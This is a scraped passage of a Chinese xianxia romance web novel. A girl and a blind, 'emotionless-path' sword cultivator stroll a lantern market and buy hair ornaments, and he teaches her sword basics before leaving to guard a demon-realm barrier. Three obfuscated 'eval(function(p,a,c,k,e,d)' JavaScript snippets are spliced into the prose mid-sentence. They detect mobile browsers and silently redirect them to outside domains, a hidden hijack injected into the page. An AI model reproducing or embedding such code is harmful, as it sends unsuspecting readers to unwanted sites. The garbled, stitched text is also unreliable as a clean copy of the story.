一个人不小心撞到了姜揽月。 “不好意思姐姐。” 姜揽月低头，看到了是一个小女孩，连忙道：“没关系。人很多，注意安全哦。” “嗯，我明白。”小女孩甜甜道。 谢思量却不着痕迹的皱了皱眉，他一把牵住了姜揽月：“人很多，会被冲散。” 姜揽月有些惊讶，她一回头就看到了谢思量精雕玉琢的五官，面上没有一丝情绪，仿佛真的只是怕被冲散，然后又低头看了看二人牵在一起的手。点头道：“嗯。” 二人早已不是第一次牵手，但这一次不知怎地，姜揽月居然有了心脏一颤的感觉。 谢思量，真好看啊。 周围人潮汹涌，声音嘈杂，谢思量握紧了姜揽月的手。 “这里这么多人，为什么你的手还是这么凉？”姜揽月问道，谢思量的手仿佛一块冷玉，握在手中，很是舒服。 “天生的，”谢思量道，“我是冰灵根，天生体温便较常人较低。” “哦，原来如此，怪不得之前在台山也是这样。” “嗯。” “这里人真的很多，我很少见到这样热闹的场景。” “我也是。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15058993|160442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二人这样有一搭没一搭的聊着，很快走出了市坊的中心区域。 “唉，那里有卖花灯的，我去帮晴雨买一个兔子灯。” 晴雨？ 谢思量在心中默念，同时感觉自己的手忽然变空了，他眨了眨眼，似是有些不习惯，拇指和食指轻轻摩挲了一下。 “谢思量，我买好了，这个兔子灯真可爱，胖胖的，嘿嘿嘿，我先拎一会。”姜揽月欢天喜地地拿着兔子灯。 听到了姜揽月语气中的喜悦，谢思量应道：“嗯。” 市坊中心过后是一条小吃街，只见街道两旁是各种各样的摊子，卖肉夹馍的，卖糖葫芦的，卖乳酪球的，飘香万里，令人眼花缭乱。 于是，刚刚才吃饱的姜揽月又开始蠢蠢欲动起来。 感受到少女停下了脚步，谢思量也停了下来，问道：“怎么了？” “好想吃。” 谢思量明白了，这些日子的同住，他已经对姜揽月的食量有了清楚的认识，于是道：“那就去买罢。” “我想想买什么？这里太多了。” “那就多买些，想吃的都买下来。”谢思量道。 “嗯，我看看。” 挣扎半天，姜揽月最后还是走向了一个卖酒酿圆子的摊位，她想尝尝外面卖的和自己做的区别在哪里。 当她端起一碗酒酿圆子后，发现自己没有手吃了，而芥子囊又放在客栈中，于是恳求道：“谢思量，能不能帮我拿一下兔子灯？” “好。”谢思量修长的手指接过了花灯。 姜揽月舀起一勺圆子，桂花的香味在舌尖炸开，随即沁润进喉管，确实比她之前做的要好吃，不过她只是一时兴起做的，怎么能和这些专业的比呢。 她抬眸瞥了一眼谢思量，道：“谢思量，来吃酒酿圆子吗？” 酒酿圆子？ 谢思量的脑海中蓦地闪过前几日幻镜中的景象。 “这个可好吃了，就是上次我在玉霄殿中做的那个。” 未等谢思量反应过来，姜揽月便已经拿着勺子放到了他的嘴边。 “我来喂你吧，你拿着花灯不方便。” 谢思量的手指僵了僵，不过很快地，他张开了嘴，顺势吃下了那个圆子。 圆子吃于嘴中，他依旧品尝不出味道。 那幻镜中的圆子也是这样吗？ “怎么样，好吃吗？我做的和这个差别在哪？” 谢思量沉默了片刻，最后道了句：“都一样，我吃不出差别。” 一听这话，姜揽月立马笑了：“哈哈哈哈你也太会说话了，尽说些让人开心的话。嘿嘿，那我就再喂你一口吧。” “好。”谢思量道。 二人继续向前走着，姜揽月手上的小吃又换了一份又一份，她吃着荷花酥，看着谢思量手上拿着兔子灯，安静地在一旁走着。 她忽地想到了上辈子，上元佳节，二人难得一起出门，当时谢思量的眼睛还看得见。 她头一次来人间的上元节，见什么都新鲜，吃什么都好吃，于是几乎走一步停一步，一条街道走了快一个时辰，当她意识到这一点后，便有些惶恐地看向谢思量，担心谢思量会生气。 她小心翼翼道：“仙君，你着急回去吗？” 谁知，谢思量神色淡淡，琉璃般的瞳孔看不出情绪，说道：“无事，你慢慢看。” 头顶的烟花在这时炸开，姜揽月抬头，看到了金色的火树烂漫。 这一瞬间，她忘记了惶恐，抬眸望向谢思量：“仙君，快看，好美的烟花。” 那是少女第一次看到如此盛大的烟花，她嘴角扬起，眉眼中满是笑意。 晚风扬起她的发丝和裙摆。 也是在那一刻，少年心动。 27. 蝴蝶（一） 街道上，车水马龙，人来人往，各种各样的小吃飘香万里。 二人来到了一家首饰铺子，姜揽月还记得自己说要给谢思量买发冠和发带。 “谢思量，你和我一起进来吧，我买东西很慢的。” “好。”少年点头，跟着姜揽月一起走进了铺子里。 老板是一个很温柔的美人，她穿着留仙裙，梳着飞天髻，像是从画中走出来的一般。 她看着面前的两位少男少女，二人皆生得仙风道骨，猜出了应是前几日来清水镇处理事情的仙家。 其中，男子穿着白袍，长相俊秀，面如霜雪，满身肃杀之气，看着便令人不敢靠近，手上却拿着一个和气质毫不相符的兔子灯，还有一杯酸梅汤。 女子则在旁细细挑选着男子用的发带和发冠。 老板嘴角轻勾，她明白了。 “谢思量，你来试试这个怎么样。”姜揽月手上拿着一根玉白色的发带，上面绘有银白色的云纹，精致典雅。 “我看不见，你随便选吧。”谢思量站于她身边道。 “好，那我就随着我的审美选了。” 看到面前琳琅满目的发饰，姜揽月非常纠结，因为她觉得每一个都很好看，每一个都很适合谢思量，到底该选哪一个呢？ 她将手中的发带对着谢思量比划了一下，嗯，非常适合。 然后她又换了一个发带，依旧非常适合。 “天哪，根本选不出来。” 谢思量听出了她语气中的无奈，道：“你若是不喜欢的话，那就换一家店吧，不过我并不在意这些，你可以随便买。” “不是，不是不好看。”姜揽月道。 “那是为何？” “因为都太好看了，每一个都很适合你。” “……” 谢思量一时无言。 老实说，姜揽月有的时候说话都会令他很惊讶。不过若是仔细想来，这些直白的话语确实是姜揽月会说出的， “是给这位公子选吗？” 老板走向前去，看着姜揽月手中的簪子笑道：“这玉簪用的是极北之地的玉所做成的，非常稀少，很适合你夫君的气质。” 夫君？ 姜揽月愣了一下，这不是在昆仑，怎么认出来的？很明显吗？ “好，那就把这个簪子包着吧。” “好。”老板高兴道，“姑娘，你自己不买些吗？” “我自己看看就好。”姜揽月道。玉霄殿中各种女子首饰非常多，都是之前买的，而且用的还都是谢思量的钱。 她又抬眸瞥了一眼谢思量，少年静静地站于一旁，一手拿着兔子灯，一手拿着她的酸梅汤，面上没有一丝不耐。 看来，无论是哪一世的谢思量都一样，都会这样等着人。 不过，最令人无法忽视的还是他那张惊艳众生的脸。 真好看，肯定什么都适合。 姜揽月停止自己的胡思乱想，手一挥，道：“这些簪子，发带和发冠都要了。” “好嘞。”老板高兴地合不拢嘴，“小姐和郎君一定百年好合，早生贵子，生生世世都在一起。” 早生贵子？ 姜揽月愣住了：“……早生贵子就算了吧。” 某人可是无情道剑修，听见这个不会生气吧？ 她有些心虚地朝谢思量看去，少年也正在这时开了口：“为何买这么多？” 姜揽月松了一口气，原来在问这个啊。 “我有选择困难症，挑不出最喜欢的，所以就都买了。” “可我根本用不到这些。” “那就每天换着用，我和你一起用。”姜揽月道，难得又财大气粗了一回，反正花的都是谢思量的钱，这种毫无顾忌的花钱的感觉真好，“这些簪子上又没标着‘女子不可用’，你用不完的话剩下的就我来用，这样应该可以了吧。” 谢思量垂了垂睫，没有言语，看起来应该是同意了。 姜揽月眼角弯弯：“老板，把这些都包起来吧。” “好勒。” 姜揽月拿起一根发带：“谢思量，我现在就来帮你束吧，好不好？” 她的声音总是这样，像是在唱歌，在祈求，却好像又带着一丝撒娇。 谢思量轻轻点了点头：“好。” 老板在一旁打趣道：“二位感情可真是好啊。” “谢思量，你坐着，我来帮你束。” 少年放下了手中的兔子灯和酸梅汤，坐到了木椅上。即是这样，他依旧脊背如松，姜揽月感慨一句不愧是剑修弟子。 谢思量黑发如瀑，她将两缕头发缠住，随后用发带绑住。 少年眼睫微垂，细细嗅着姜揽月身上的冷香，耳边的铃铛叮叮铃铃，提醒着他少女正在为他束发。 幻镜中的女子的模样又在他的脑海中浮现。 那个女子是姜揽月吗？ 姜揽月又会是什么样子的呢？ 正当他想着，内心忽然又传来一阵心悸。 奇怪，最近怎么总是有这种奇奇怪怪的感受。 “谢思量，好啦。”姜揽月脆生的声音响起，她摸了摸垂下来的丝带：“真美，我的眼光可真好。” 老板道：“确实，姑娘的眼光真是一等一的好，不过这位公子的长相也是一等一的美，姑娘为公子挑的发带让公子的俊秀又上了一个等次。” 姜揽月听得笑了，她拿起桌上的酸梅汤，道：“多谢老板。” 等二人回到客栈的时候，薛满和宋卿尘早就已经回来了。他们看着看到二人满手的东西，眼中丝毫没有震惊，因为宋卿尘也买了几袋子的东西，还得麻烦薛满帮他提着。 “这是给白师妹带的兔子灯？” “对的。”姜揽月点头，“是不是非常可爱？” 宋卿尘戳了戳兔子耳朵：“确实还不错。” * 谢思量一回来便去了昆仑大殿。 殿上，几乎重要的长老都在。 天枢掌门道：“摇光，你前些日子是去哪里了？我原来有事找你，去云雪峰才知晓你不在。” 谢思量的嗓音在殿中响起：“在下陪弟子去凡间处理任务了。” “你陪弟子？”掌门有些奇怪，“你的弟子是谁来着？想起来了，是那个薛满，我记得他天资不错，修炼也踏实努力，修为已至金丹，出任务还需要你陪吗？” 掌门夫人却直接道：“摇光真是有心了，第一次收徒就这么用心。” “比不得啊，当年摇光出行任务从来都是自己独行一人，我们从来都没有陪过。” “他本来也不用我们陪。”天玑长老忍不住勾了勾嘴角：“我怎么听说薛满这趟任务中揽月姑娘也在啊，真的只是关心弟子吗？” 妙音长老喝了一口茶，幽幽道：“没错，揽月确实在，不仅揽月在，她师兄宋卿尘也在呢。不过不管怎么说，摇光确实对自己徒弟非常上心。揽月也是第一次出任务，我都没有陪她，只让她的师兄也一同前去。这次也多亏了摇光，毕竟都是一群不过金丹的弟子，还得是摇光去处理更令人放心。” 谢思量的声音中听不到一丝情绪：“长老说笑了。” 见谢思量这般模样，让天枢掌门想到了第一次见他的时候。当时谢思量还小，约莫只有十岁。 那时正是春日，正值四月草长莺飞之际，人间一片春暖花开。他去一个宗门办事，回来的时候路过人间一个皇宫，但是这个皇宫和周围附近的区域却被白雪覆盖。从空中看去，一片洁白，让人以为还在冬日。 天枢感到奇怪，便进了这个皇宫，不想皇宫内居然也是冰天雪地之景。他将表面的一些白雪融化，露出了内里的血腥。白雪下埋藏着皑皑白骨，一些尸体散发出腐烂的味道。他检查了那些尸体，发现一部分是魔的手笔，还有一部分则是魔族的尸体。他心中了然，这片区域被魔侵略了。只是，这一片的冰雪是怎么回事？这不是普通凡人可以做到的。 他将皇宫中所有的冰雪消除，发现一面墙上画满了不堪入目的壁画。天枢眉头一皱，人间的一些皇帝真的是有一些恶趣味。但是随之，他感受到了一股微弱的气息，这里还有活人！ 他循着这股气息慢慢寻找，最后却发现竟是一个十岁的小儿。 那孩子穿着一身已经辨不出颜色的袍子，如墨一般的长发披散在肩头，脸上也都是血迹，面上没有一丝表情，躲在一个巨大的花瓶后。 他整个人仿佛一个假人，甚至连他的气息也很微弱，若不是他感受到这股灵力，根本不知道居然还有一个小孩在这场屠杀之中存活。 但这小儿的眼睛却非常引人注目，他有一双琉璃般的眸子，澄澈透明，不含一丝杂质，也不含一丝感情，像是结冰的湖泊。 天枢问道：“你是如何在这场屠杀之中活下来的？” 小孩不说话，甚至连眼都没有眨，这让他看起来更像一个假人了。 “这片冰雪是你造成的吧。” 小孩还是不说话。 “年仅十岁就可造出如此纯粹的冰雪之境，是个可塑之才。不过，我要是再来晚些，你这片冰雪境恐怕还能继续覆盖几十里吧，真是极致的冰雪之道。”天枢看着这个躲在冰雪之中的孩子道，“你可否愿意和我回昆仑？” 就这样，谢思量被天枢掌门带到了昆仑。 来到昆仑后，其他几个长老看到这个冰雪一样的娃娃很是惊奇。这时候的谢思量，生得唇红齿白，乌黑的长发扎于脑后，很多人都以为他是个清秀的女孩子。 妙音长老当时看到便说：“师兄，你在哪捡来的漂亮的女娃娃？小娃娃，要不和我一起去学琴吧。” 谢思量的声音很轻：“可我已经学剑了。” “已经学剑了？没事的啊，可以双修啊。” 谢思量不说话。 天璇长老笑道：“玄素你别逗他了，孩子还小，难免会害羞。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15066251|160442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 谢思量的性子很孤僻，不喜说话，平日中也独来独往。刚来昆仑那会，天枢和天璇一直希望他能多和其他同门交往，但是谢思量还是坚持一个人行动。久而久之，大家也都习惯了，不再强求。 谢思量也在这段时日中展现了他惊人的剑道天赋。天枢当年果然没有看错，十岁便能造出纯粹的冰雪之境的人，后来在十八岁时便一剑化神，惊动天下了。 如今，他看到谢思量和众人一起下山，天枢感到一丝欣慰，无论是因为道侣也好徒弟也罢，总归这证明谢思量和红尘之间有了一丝牵绊。 他道：“论年龄，摇光其实和他们几个一般大，一同去也挺好。以后不论是薛满，还是揽月姑娘执行任务，摇光你想去便去。” 谢思量淡淡道：“弟子明白。” 随后天枢长老话题一转：“今日召你们前来，是为了商议七杀结界一事，七杀结界最近一段时间有所松动，魔气泄露，这个月是天玑在看守，她马上有其他事务要处理，下个月的七杀结界谁来看守？” 妙音长老道：“上上次是我在看守。” 七杀结界是人界和魔界的屏障之一，位于昆仑西北之巅，将人界与魔界隔开。多年来，昆仑弟子一直镇守在这里，为的就是不让魔族从那头过来，以防生灵涂炭。 不过，那里又黑又冷，在那里看守，可以心无旁骛地修炼，也算是一种形式的闭关。 思及这段时日莫名其妙的心悸与修为降低，谢思量上前道：“掌门，弟子愿意去看守七杀结界。弟子上次看守七杀结界已是去年，时隔一年之久，让弟子去吧。” 他必须远离姜揽月。 掌门道：“这样啊，那这次要不就摇光去？其他几位呢？” 一位长老道：“我下个月去万剑阁有事，下下次到我吧。” “行，那就这么决定了，下两个月摇光去。” 谢思量道：“多谢掌门。” 回云雪峰后，谢思量很快召来了薛满。 “师尊，找弟子前来有何事？” “我十日后要进入七杀结界，这段日子不用找我。” “遵命，弟子谨记教诲。” “师尊，我感觉我快要进阶了，可否帮我看一下？”幻妖结束之后，薛满便觉得自己的修为有所提升。 谢思量抬了抬眉，威压瞬间布满了玉霄殿。 “嗯，已经金丹巅峰了，确实快要突破了。” 薛满握拳笑道：“多谢师尊。” “不用谢我，我实际上并没有教你多少。” 第一次收徒，谢思量也基本完全放养，不可能也没有真正在徒弟身上花多少心思。 “你那有昆仑的基础剑法吗？”他忽地又道。 “有的，我一直都是照着剑谱练习的。”其实这句话说的有些奇怪，因为一般人都是看着剑谱练习的，不过谢思量除外，一是因为他的天赋，二是因为他的眼睛，“师尊，你需要吗？” “给我找一本最基础剑法。”谢思量道。 “好的，我一会就去拿。”薛满回道，他没有多问剑法是给谁的，因为他已经猜出来了，上次师娘说要学剑术，应该是给师娘准备的，“若是无事的话，那弟子先行告退了。” “等一下。” “嗯？师尊有什么需要吩咐的吗？”薛满问道。 “你，”谢思量停顿了一下，“可否向我描述一下你师娘的模样？” 薛满拿着剑的手顿了顿，居然是这样的问题，他又确认了一番，问道：“是师娘吗？” “嗯。” 薛满眨了眨眼，思索片刻道：“师娘生得很漂亮，是我见过最漂亮的女子，和师尊很是相配。” 谢思量面前浮现了幻镜中出现的那张脸。 “她的眼睛是什么样的？” “眼睛？”薛满摸了摸脑袋，道：“师娘有一双桃花眼，很漂亮，就像、就像……” 他努力想了一个比喻：“就像天上的星星一样。” “星星？” 薛满道：“对，师娘的眼睛不笑起来的时候像星星。” “那笑的时候呢？” “笑的时候像月亮。” “笑的时候像月亮，不笑的时候像月亮。”谢思量竟难得勾了勾嘴角，犹如梨花盛开。 薛满愣了愣，师尊又笑了，好像一提到师娘师尊就会笑。 “除了眼睛呢？” “除了眼睛之外，”薛满在脑海中回忆起姜揽月的模样，道：“师娘的眉毛像柳叶，皮肤很白，头发乌黑，嘴巴像樱桃一样红，总之很漂亮就是。” “好，我知道了。” “那师尊还有其他事情吗？” “无事，你先回去罢。” “好，多谢师尊，我这就去拿剑谱。” 薛满走后，谢思量想了想自己在幻镜中见到的女子的眼睛。 到底什么样的眼睛，既像星星，又像月亮呢？ 28. 蝴蝶（二） 回到昆仑后，姜揽月准备先把兔子灯送给白晴雨，二人约好了在试炼场外见面。 试炼场外，梨花遍地，雪白的落花簌簌而下。 白晴雨刚走出试炼场，便见到姜揽月站在一棵梨树之下，一朵梨花落到了她的发间。她的目光随之向下，果然见到了女子手中拿着一个兔子灯，少女的眼中瞬间都有了光。 她跑上前去，一把抱住姜揽月：“呜呜呜呜你居然真的为我带了兔子灯！！太喜欢你了！哼，他们都不会主动说帮我带，还是你最懂我！” 姜揽月笑道：“哈哈哈，本就是女孩子最懂女孩子。” 她提起兔子灯：“这是那里最可爱的一只兔子灯，你一定要到晚上点亮看，特别可爱。” “好。”白晴雨喜笑颜开，她从姜揽月手中接过兔子灯，仔细打量，道：“我真的恨不得现在变成晚上，现在就想看看它亮起来的样子。” 姜揽月抬头看向天空，如今正是正午，日光透过树叶的缝隙洒在她的身上，她抬手遮住阳光：“再等等吧，再过几个时辰天就黑了。” “对了，你之前说要和我比一场，现在来吗？”白晴雨收起兔子灯道。 姜揽月微微一愣，刚拿完兔子灯就要比试了？不愧是刀修啊，不过，就让她看看最近的成效吧。 她拿出太华，道：“好啊。” 试炼场上，身穿蓝裙的少女五指上下滑动，泠泠乐音自她指尖传出，而她对面的女修手中拿着一把长长的刀，随着她的动作刀刃在空中划出满月般的弧光。 两刻钟后，二人以平手告终。 白晴雨放下刀，擦了擦额角的薄汗，道：“你最近果真提升了不少，不过刚来昆仑，居然能和我打个平手。” 姜揽月：“我之前在凡间是个散修，算半个修士吧，其实不能算完全没有修炼过。” 二人正交谈时，忽然又传来一道声音：“嘿，师娘，白师姐，你们也在这儿啊？” “嗯，我给你白师姐送兔子灯呢，你刚刚从云雪峰回来？”姜揽月转头道。 “对，师尊要去七杀结界了，让我来帮他拿本剑谱，我正准备给他送过去呢。”薛满道。 姜揽月顿了一下：“什么七杀结界？” 薛满道：“师娘你还不知道吗？七杀结界就是魔族和人界的交界屏障之一，一直由昆仑的长老轮流看守，这次轮到了师尊看守。” 白晴雨在一旁点头道：“确实，我爹爹和娘亲之前也看守过，听说那里又黑又冷，有的时候还会有魔气泄露。” 姜揽月双眼微咪，好像确实是有这么一个东西来着，谢思量之前也去看守过，不过由于她上辈子太过于混吃等死而对这些一概都不了解。 “那他什么时候去啊？” “师尊说是明日。” 姜揽月动作微顿，明日？这么快吗？这才刚从清水镇回来，居然立马就要去七杀结界。 “好，我知道了。” “那师娘要回玉霄殿吗？” “嗯。” “可否帮我把这份剑谱带给师尊，师尊让我给他找一份剑谱。” 他要剑谱做什么？眼睛又看不见，而且以他的修为也不需要剑谱啊。 姜揽月感到有些奇怪，不过还是收下了：“好。” * 夜晚，一轮明月静静升起，如霜一般的月光倾洒在大地之上。 直到和白晴雨一起看完兔子灯后，姜揽月才回到云雪峰。她刚踏入玉霄殿，就看到谢思量正在周围布置剑阵。 他的脚下是一个巨大的剑阵，由中心向四周散开，上面有许多姜揽月看不懂的符文咒术。 确定了自己没有打扰他后，姜揽月上前道：“谢思量，薛满让我帮他带一本剑谱给你。” 谢思量没有抬头，手中的剑发出一道剑光：“你拿着吧，这本就是为你准备的。” “啊？”姜揽月翻了翻剑谱，发现都是一些基础姿势和招式，“给我的吗？” 谢思量抬眸：“你之前不是说要学剑？” “哦，我想起来了。”姜揽月道，她没想到谢思量竟然还记得。 她就说谢思量都能自创剑法了为什么还让薛满去找剑谱，原来是给她用的。 “听说你要去七杀结界？”她犹豫了一会，最后还是开口问道。 “嗯。”谢思量淡声道。 “要去多久？” “约莫两个月。” “我可以去七杀结界吗？” 谢思量动作一滞：“一般修为至少要到元婴期才可以去，七杀结界在昆仑的西北之巅，有来自魔界的魔气，若是修为太低的话易受影响，所以只有昆仑的长老才会去看守。” 姜揽月沉默了，她好不容易修得金丹，在谢思量这里却还是“修为太低”。 修仙者和修仙者之间的差距还是太大了。 “那你呢？你之前便去过那里吗？” “我修至元婴的时候便去了一次。”谢思量没有否认。 姜揽月垂下眼睫，看着地上白色的落花，一些花瓣被泥土掩盖，但是更多的花瓣堆叠在一起，白花花一片。 她抬眸望向谢思量：“你说要教我剑法，现在可以吗？” “可以。”谢思量道，“若是我在的话，你想何时想学都可。” “好。” 姜揽月拿出思君，照着剑谱摆出握剑的姿势。 握好后，她尝试着挥了挥剑。 “谢思量，我听说你们剑修一开始都是练习挥剑，你当时一日会练习多少次啊？”姜揽月问道，不过想到面前的是个少年天才，她又补了一句，“不要告诉我你没有练习，拿到手上就会了。” “一日约莫一千次。” “一千？！”姜揽月以为自己听错了，又确认了一遍，“你一天练习挥剑一千次？” “嗯，我当时每日都在练剑。” 谢思量没有说谎，他确实每日都在练剑，因为他不喜交往，也不爱说话，于是所有的时间便都在修炼上了。 “不愧是十五岁就能拿到论剑大会第一的人啊。”她一边说话，一边挥剑。 感受着空中的剑意和耳边的叮铃声，谢思量走到了姜揽月身后：“我带你挥一次。” “好。” 少年的手指修长，青色的血管隐隐透出，更衬得他的手如玉雕一般。他从背后握住了姜揽月的手，带着她挥了一剑。 那一瞬间，只感到一阵剑风袭来，雪白的剑气一闪而过，如白虹贯日，与此同时，她的手腕也随之震了震。 少女眨眨眼，有些不可置信，原来这就是化神期剑修的剑风啊，真的和她完全不同。 “怎么手腕没力气了？”谢思量又带她挥了一剑。少女的手在他手中，柔若无骨。 “我在想，你挥的剑好漂亮啊。” “挥剑又何来漂亮一说？”谢思量不懂，好像不管什么话题，她最终都能歪到“漂亮”上。 “就是说你很厉害的意思。”姜揽月道，“你的剑术很漂亮。” 听懂了，原来是说他漂亮的意思。 谢思量放开了姜揽月的手。 姜揽月又试着自己挥了一剑，剑风软绵绵的，没有刚刚剑气如虹的气势，看来还是得多练习啊。 “不过，你学了多久啊？”姜揽月问道。上下两辈子，虽然两人认识了很久，但她发现自己对谢思量的过去一无所知。 “八年有余。” ？？？ 八年？ 八年就化神了？ 姜揽月沉默了，她的第一反应是我要跟你们这些天才拼了。 “怎么了？为何忽然问起这个？” “没事， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15073878|160442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就是看你这么熟练问一下，那你是一来昆仑就学剑了吗？” “嗯。” 思及当年论剑大会上少年惊艳绝伦的身影，姜揽月又问道：“你当时参加论剑大会的时候，是什么修为？” “元婴。”谢思量道。 “后面为什么不参加了？” “论剑大会只允许元婴及以下的修士参加。我过了元婴，便不许参加了。” “原来是按照修炼境界而不是年龄啊。”姜揽月道，“那这样我岂不是也可以参加？” “你想参加吗？” “有机会想去试试。” 谢思量点头：“好。” 姜揽月挥了一会剑，甚觉有些枯燥：“那你马上就走了，教我个基础剑法怎么样，我不想这两个月里都只挥剑。” 谢思量垂了垂眉，思索片刻，姜揽月主用琵琶，至于剑，平时用来玩一玩也好。 “好。”他道，“我来教你。” 谢思量手中现出观雪，月光下，这把长剑的剑身折射出一片冷光，皎白如玉。 “你看这个如何？” 只见他手中动作飞扬，剑光如明镜一般流泻，翩若游龙，宛若惊鸿。 姜揽月看的双目圆睁，她鼓起掌来：“好！就要这个！这个叫什么啊？” 谢思量的眉眼中滑过一丝温和的笑意，这简单的招式居然就能让她有如此反应：“剑花。” “好，那就学这个，我记得这个是剑术最基本的招式。” “对，这是基础剑招。” 姜揽月握着思君，回忆着刚刚谢思量的动作。她动作做到一半，然后就发现自己忘记了。 “谢思量，可以再做一遍吗？” “嗯。”谢思量点头，这次他放慢了速度，足以让姜揽月看清每一个细节。 姜揽月又照着做了一次。 谢思量在一旁讲解：“这个动作的要领是手腕的灵活，你平日多弹琵琶与古琴，上手应该很快。” “原来如此。” 姜揽月又试了几次，果然发现没有最开始那般滞涩了。 “真的唉，现在好像确实比之前好了。” 谢思量点头道：“练剑便是讲究熟能生巧。” “对了，你刚刚那是什么剑阵啊？看起来和一般的剑阵不一样。” “断情剑阵。” “断情？这是无情道中的吗？”姜揽月立马就反应过来了。 “对，无情道的第十剑阵。”谢思量道，因为最近莫名其妙的修为降低，所以他今晚练了一次这个剑阵。 “那你们无情道的剑阵还真是阵如其名啊，这么直接，一听便听出来了。”姜揽月调侃道。 谢思量没有言语。 又练了片刻，她感到有些累了。今日本就和白晴雨比试了一番，晚上又挥了快一百次的剑，体力已经透支了。 她收起思君，对谢思量道：“累了，不想练了。” “那就休息罢。” 少女又道：“你明日就去吗？” “嗯。” “这么快啊，我们才刚从清水镇回来呢。” “七杀结界，怠慢不得。”谢思量眼睫微垂。 皎洁的月光照进他的瞳孔，有种剔华的光彩，像是琥珀被渡上了光芒。 姜揽月盯着那双眼睛看了许久，若不是因如今谢思量眼盲，她根本不敢这样直勾勾的看着。 最后，她道了句：“你不在，我会想你的。” 谢思量眼睫一颤。 他声音很轻：“我不在的时候，你若是有事，便吩咐侍女，也可以找薛满。” “好。”姜揽月点头。 少女回房后，谢思量轻轻转身，感到一阵心悸，咽喉有血腥之感。 与此同时，他的断情剑法由第十重跌倒了第一重。 29. 蝴蝶（三） 清晨，一颗颗圆润的露珠在碧绿的荷叶之上滚动，清澈的日光照进露珠中，折射出七彩的光芒，粉白的荷花随风摇动，一条条鲤鱼若隐若现。 来到宫商阁，今日妙音长老也在，姜揽月便和她说了清水镇一事。 妙音长老听着面前少女的叙说，点头道：“不错，第一次下山这样不错了。不过，你说你们在第一次幻镜破了以后又进了一次幻镜？” “对，”姜揽月点头道，“我们几个都进去了。第一次的幻镜中只有自己，但是第二个幻镜中大家都在一起，就有些奇怪。” 妙音长老问道：“谢思量在吗？” “他在，就是他把幻妖消灭我们才从幻镜中出开的。” “你们的幻镜中没有他？” “第二个幻镜中有一个谢思量，但是那不像他，像是妖怪变出来的。” “妖怪变出来的？”妙音长老双眼微咪：“所以你觉得谢思量在外面？根本没有进入幻镜？” “对，”姜揽月道，“按理说，眼盲之人是看不到幻镜的。” “这个倒也确实，不过，你知道化神期修士可以控制元神吗？” “什么？控制元神？” “没事，暂且不知道无事，等你到化神期的时候就知道了。”妙音长老道，“我们先不纠结这个了，妖怪的心思谁也摸不清。不过以后可以让谢思量多带带你，他执行任务你就跟去，进步很快的。” 姜揽月点头：“嗯，我明白，师尊，只是他最近去了七杀结界，我去不了。” 妙音长老将装葡萄的篮子推给了姜揽月：“七杀结界你确实不能去，那里对你来说现在很危险，不过你也不要着急，不用和你夫君相比，他是看守七杀界最年轻的人，我记得他应该是十五岁时就去过一次。” “十五岁？”姜揽月回想了一下，“那岂不是他登上青云榜第一的那一年。” 妙音长老笑了笑：“没错，就是他青云榜第一那一年。他能在十五岁登上青云榜第一，所以你也不用和他比，他这样的修仙界至今难找第二个，十五岁青云榜榜首的记录不知道什么时候才会被打破。” 姜揽月咂了咂舌：“估计难。” 青云盛会只允许元婴之下的修士参加，就是说只有修到元婴才能有机会在青云盛会中夺魁，但是除了谢思量那种天才，谁又能在十五岁修得元婴呢？ 她又问道：“为什么说七杀结界很危险啊，既然是结界，魔气为什么还会泄露呢？” 曲玄素：“因为结界不是万能的，不仅魔气可能会泄露，有的时候甚至会有魔族想过来，所以那里只能长老去看守。不过，对于元婴期以上的修者来说，最难熬的其实是寂寞。” “寂寞？” “对，是寂寞。”曲玄素像是在回想什么，“七杀界另一端是魔界之渊，那里只有无边的黑暗和寒冷。其实，我是非常不愿意去看守的，每一次去都会非常难受。但是对于有的人来说，倒是个闭关修炼的好地方，因为不会有人去打扰。” 她忽地一笑：“怎么，心疼你那道侣啊？” “只是有一点好奇。”姜揽月道，“对了，师尊，我想问你谢思量之前的事情，他当时是怎么来到昆仑的啊？” “嗯……”妙音长老回想了一下，“他是八年前来的，当时掌门去另一个宗门赴宴，回来后便带回了他，听说好像是在人间捡来的，纯粹的冰雪道，将他所在的王宫附近都变得冰天雪地。” “他当年来到昆仑时还是个冰雪小娃娃，生得可爱，我和天玑经常一起逗他，但不管怎么逗他他都不笑，平日也不爱说话，金丹之后他又择了无情道，也是在我们意料之中，他那种孩子，似乎天生就适合无情道。” “果然，在这之后他就拿了青云榜魁首，修炼对于他来说就和吃饭喝水一样简单。很多人穷尽一生，甚至几百年都悟不透的修为，他须臾之间便可修得。迄今为止，最令我们惊讶的是他把你带回来了，没想到啊，一个无情道剑修居然还会有道侣。” 